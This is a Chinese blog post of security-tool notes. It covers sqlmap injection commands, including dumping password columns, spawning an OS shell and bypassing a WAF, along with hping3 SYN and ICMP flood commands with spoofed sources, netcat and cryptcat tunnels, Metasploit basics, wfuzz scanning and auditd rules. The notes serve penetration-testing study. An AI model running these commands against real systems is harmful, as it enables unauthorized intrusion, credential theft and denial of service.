• 主页
  • 相册
  • 随笔
  • 目录
  • 存档
Total 244
Search AboutMe

  • 主页
  • 相册
  • 随笔
  • 目录
  • 存档

安全工具笔记

2020-09-14

1. sqlmap

1.1. 数据库注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 谷歌注入
# 相当于加上https://www.google.com.hk/search?q=inurl:php?id=

# Cookie注入,猜解表
sqlmap -u url --cookie "id=31" --table --level 2

# 获取一个Shell
sqlmap -u url --sql-shell

#
sqlmap -u url --os-cmd=ipconfig
sqlmap -u url --os-shell # 选择语言

# mysql注入(前提是mysql)
sqlmap -u url --dbs # 找库
sqlmap -u url -D dbname --table # 找表
sqlmap -u url -D dataname -T table_name --columns # 找列
sqlmap -u url -D dataname -T table_name -c "id,user,password" --dump # 获取字段的值(假如扫描出id,user,password字段)

# post登陆框注入
# 配置burp代理(127.0.0.1:8080)以拦截请求
# 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
sqlmap -r search-test.txt -p tfUPass

# 请求延迟
--delay 1 --safe-freq

# 绕过WAF防火墙
--batch --tamper "space2morehash.py"
# 使用注释符#(%23) 再就是使用随机的字符串和一个换行符(%0A)来替换空格

# 浏览器
--random-agent

参数

  • u url
  • p parameter eg. ?id=
  • batch bat 批处理
  • level
1
2
3
payload,5级包含的payload最多。
http cookie在2级时可以检测
HTTP user-Agent/Referer在3级时就会检测

注意url里要包括参数,不然报错

no parameter(s) found for testing in the provided data

在实际中我们发现,这样得到的IP地址有很多是没有响应的,如果对所有的地址进行扫描,会非常费时费力,我们要进行二次过滤,使用Python批量对地址进行请求, 过滤掉不响应或响应过慢的网页

  • requests.get(ip,timeout=6)

1.2. os-shell原理

sqlmap上传一个上传功能的马

  • base64编码
  • 通过into outfile进行文件的写入

shell传参进行命令执行

  • 上传一个二进制库
  • mysql、PostgreSQL:sys_exec()和sys_eval()
  • sql server:xp_cmdshell

删除shell

必要条件

  • 拥有网站的写入权限
  • Secure_file_priv参数为空或者为指定路径

2. AWVS(Acunetix Web Vulnerability Scanner)

1
2
3
4
5
6
7
8
docker pull secfa/docker-awvs
docker run -it -d -p 13443:3443 secfa/docker-awvs

# 容器的相关信息
awvs13 username: admin@admin.com
awvs13 password: Admin123

https://127.0.0.1:13443/

3. wireshark

实现原理

网络上传输的数据包通过网卡进入到网络协议分析器系统。协议分析器所使用的网卡和网卡 驱动程序必须能够支持“混杂模式操作(Promiscuous Mode Operation)”。因为只有运行在混杂模式下的网卡才能够捕获到网络中传输到其他设备的“广播数据包、多播数据包、单播数据包以及错误数据包等等”,两者一起协同工作

4. nmap zmap

  • zmap扫得快,漏的多,适合做个大范围的态势了解。
  • nmap扫的慢,更准确,适合对目标网络做详细扫描。
  • masscan不太清楚,应该是趋近与zmap的东西

5. Metasploit

1
2
3
4
msfconsole
systemctl start postgresql
# 建立数据库缓存
msfconsole db_rebuild_cache

术语

  • Exploit,攻击工具/代码
  • Payload,攻击载荷
  • Shellcode
  • Module,模块
  • Listener,监听器
  • 使用Metasploit框架的基本步骤包括:

    • 选择并配置一个攻击代码(exploit, 利用漏洞来进入目标系统的代码);
    • (可选)检查目标系统是否会被此代码影响;
    • 选择并配置一个有效负载 (payload, 在成功进入后在目标系统上执行的代码;例如,一个远端壳层或一个VNC服务器);
    • 选择编码方式,使入侵预防系统,忽略已被编码的有效负载;
    • 执行攻击代码。
  • 这种允许任何攻击代码和任何有效负载进行随意组合的模块化的结构是Metasploit框架的主要优势

  • 渗透测试框架metasploit | Leticia‘s Blog

6. 隧道工具

netcat通信

1
2
nc -nlvp port
nc url port

6.1. 应用层隧道

  • 略

6.2. 传输层隧道:cryptcat

1
2
cryptcat -nlvp 2222 -k passwd
cryptcat url 2222 -k passwd

6.3. 网络层隧道

  • ip
    • 传输模式esp封装
  • icmp

7. ddos工具

7.1. hping3

说的难听是dos,说的好听是压力测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 多端口扫描
hping3 -8 1-1024 192.168.100.102
# 文件发送
hping3 -2 -p 1373 192.168.100.102 -d 100 -E test.txt # d: 数据大小
# 接收端:
nc -lp 1373 -u -w 5 > recv.txt && cat recv.txt # w :超时时间

# DOS攻击
## Syn Flood攻击 -S
hping3 -c 1000 -d 120 -S -p 80 –-flood –-rand-source 192.168.100.1

-c 指定连接数 -p 目标端口
-d 指定数据部分的大小 -S 攻击类型是Syn flood
–flood 以泛洪的方式攻击 –rand-source 随机产生伪造源地址

## TCP Flood攻击 -L

## UDP Flood -udp

## ICMP Flood -icmp
hping3 -q -n -d 200 –icmp –flood -a 11.11.11.11 192.168.100.1

-q安静模式 -n不解析域名 -a指定伪造IP

8. wfuzz

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击

  • wfuzz本身自带字典
1
2
3
4
5
6
7
8
# 目录扫描
wfuzz -w /usr/share/wfuzz/wordlist/webservices/ws-files.txt --hc 404 http://x.x.x.x:9012/admin/FUZZ

# 文件扫描
wfuzz -w /usr/share/wfuzz/wordlist/webservices/ws-files.txt --hc 404 http://111.59.90.59:9012/admin/FUZZ

# 测试URL中的参数
wfuzz -z range,0-10 --hl 97 http://testphp.vulnweb.com/listproducts.php?cat=FUZZ

9. auditd

1
2
3
4
5
6
7
8
9
10
# 查看当前审计规则
auditctl -l

# 新建临时规则
auditctl -w /etc/passwd -p rxwa
# -w :审计监视的路径
# -p:目录或者文件的权限 ,rxwa分别是读、执行、写、属性

vim /etc/audit/audit.rules
-a <list>,<action> <options>

auditd的审计日志是在/var/log/audit/audit.log这里,如果设置的rules较多,日志会很大,所以要定期删除日志,在删除日志的时候注意要重启auditd服务

  • 执行命令在comm=...

10. Windows下D盾等,Linux下河马

11. 参考

  • SQLMAP注入教程-11种常见SQLMAP使用方法详解 - i春秋学院 - 博客园
  • AWVS13.X Windows、Linux、Docker | 国光
  • sqlmap –os-shell原理 - 先知社区
  • Wireshark之抓包原理剖析_此处不归牛顿管~-CSDN博客
  • hping3使用 | Mochazz’s blog
  • zmap,nmap,masscan等端口扫描工具的比较? - 山山是个酱的回答 - 知乎
  • 史上最详[ZI]细[DUO]的wfuzz中文教程(二)——wfuzz 基本用法 - FreeBuf网络安全行业门户
  • 记一份基础Metasploit教程 - 先知社区
  • 【技术分享】Linux应急响应姿势浅谈 - 安全客,安全资讯平台
  • sec
  • Security
应急响应笔记
linux文件系统笔记
  1. 1. 1. sqlmap
    1. 1.1. 1.1. 数据库注入
    2. 1.2. 1.2. os-shell原理
  2. 2. 2. AWVS(Acunetix Web Vulnerability Scanner)
  3. 3. 3. wireshark
  4. 4. 4. nmap zmap
  5. 5. 5. Metasploit
  6. 6. 6. 隧道工具
    1. 6.1. 6.1. 应用层隧道
    2. 6.2. 6.2. 传输层隧道:cryptcat
    3. 6.3. 6.3. 网络层隧道
  7. 7. 7. ddos工具
    1. 7.1. 7.1. hping3
  8. 8. 8. wfuzz
  9. 9. 9. auditd
  10. 10. 10. Windows下D盾等,Linux下河马
  11. 11. 11. 参考
© 2024 何决云 载入天数...